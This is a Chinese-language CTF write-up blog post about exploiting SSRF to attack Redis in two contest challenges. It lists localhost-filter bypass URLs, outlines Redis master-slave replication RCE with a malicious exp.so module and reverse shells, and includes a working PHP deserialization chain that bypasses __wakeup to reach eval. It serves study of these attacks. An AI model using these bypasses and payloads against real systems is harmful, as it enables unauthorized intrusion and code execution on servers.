SSRF打数据库

SSRF打redis

之前学了一下打redis的几种姿势,所以现在来复现一下
几个函数学习下:

parse_url()
#解析 URL,返回其组成部分
#要解析的 URL。无效字符将使用 _ 来替换。
eg:
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

echo parse_url($url, PHP_URL_PATH);
?>
输出:
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
#注意:
parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///...)。
gethostbyname — 返回主机名对应的 IPv4地址。
ip2long() — 返回其长整数型的ip

2020网鼎杯SSRF打redis

再本题中,他给了一个提示:/Please visit hint.php locally.
但是他对我们访问本地做了一个waf,防止我们访问到,所以这个时候我们是需要进行绕过的,绕过本地的姿势有很多

跳转/解析到127.0.0.1:
http://127.0.0.1.nip.io/hint.php编码绕过:http://0x7f.0.0.1/hint.php特殊字符绕过
http://①②⑦.⓪.⓪.①/hint.php
http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php#这个在这里可以绕过
http://127。0。0。1/flag.php
http://127.1/flag.php
http://[::]:80/flag.php
http://127.0.0.1./flag.php

接下来他给了我们关键的源码,解析一下木九十我们需要post一个文件去性进行执行,但是前面有一个exit()需要我们去绕过,这个绕过的方式我记得是用伪协议进行绕过即可

string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}

这里提供了redis的密码,又是一个file_put_contents的函数,那就是ssrf打redis了,试了一下用gopher发送请求却没有回显,所以这里还是考虑一下使用主从复制RCE
今天配置了很久,决心一定要好好记录一下
首先理解一下什么是主从复制rce

1.分清谁是主谁是从
我们要让对面的服务器加载我们服务器上的恶意文件.so,那么我们是主,对面是从
2.如何让对面的服务器加载
首先需要在服务器放上这两个工具,一个是可以执行命令输出payload的工具,一个是开启服务器的工具
3.lhost和rhost
rhost即为从,lhost为主,并且这里的lhost为了能让对面的服务器加载,必须要是vps

接下来就梳理一下整体流程:将exp.so移动到这个目录
然后先在本地的ssef-redis脚本文件进行修改一下:

img img img

对以上三个地方进行修改,修改完以后,即可输出payload,
接下来启动redis服务,然后把payload再进行一次urlencode即可开打

img

如果要反弹shell,就把那个命令改成反弹shell的指令,在服务器上开启监听即可
img

img

2021天翼杯——easyeval

一开始是一个反序列化绕过wakeup函数的,但是他有过滤,只识别A和B两个类,所以可以在外面再嵌套一层C,改变对象数目,即可绕过

<?php
error_reporting(0);
class A{
public $code = "eval(\$_POST['a']);";
#public $code = 'phpinfo();';
function __call($method,$args){
print("yes");
echo $this->code;
eval($this->code);

}
function __wakeup(){
$this->code = "";
}
}

class B{
public $a;
function __destruct(){
echo $this->a->a();
}
}
class C{
public $c;
}

$a=new A();
$b=new B();
$c=new C();
$b->a=$a;
$c->c=$b;
$d=serialize($c);
echo $d;
echo "\n";

然后就去命令执行,但是发现他phpinfo()中disable_function过滤了很多命令执行的函数=-=完全执行不了,但是看到有个配置文件,redis的配置文件,又发现file_get_contents函数没有被过滤,于是去打了一下6379端口,发现可以打通,所以感觉大概率是ssrf打redis
思路大概有以下几种:

1.备份crontab反弹shell
2.备份文件写马
3.主从复制rce
4.写无损文件
用蚁剑连接,发现tmp目录下可写文件,于是直接把redis的恶意模块exp.so放进去
然后利用蚁剑的redis插件直接进行连接数据库,密码在网站根目录下有写
img

然后就登录
img
img

小结

今天学习的都是SSRF通过主从复制打redis进行rce的,理解完以后发现也没啥难点–,主要是找到一篇看得懂的教程
https://blog.csdn.net/rfrder/article/details/113651337

Author

vague huang

Posted on

2021-09-23

Updated on

2022-02-22

Licensed under

Comments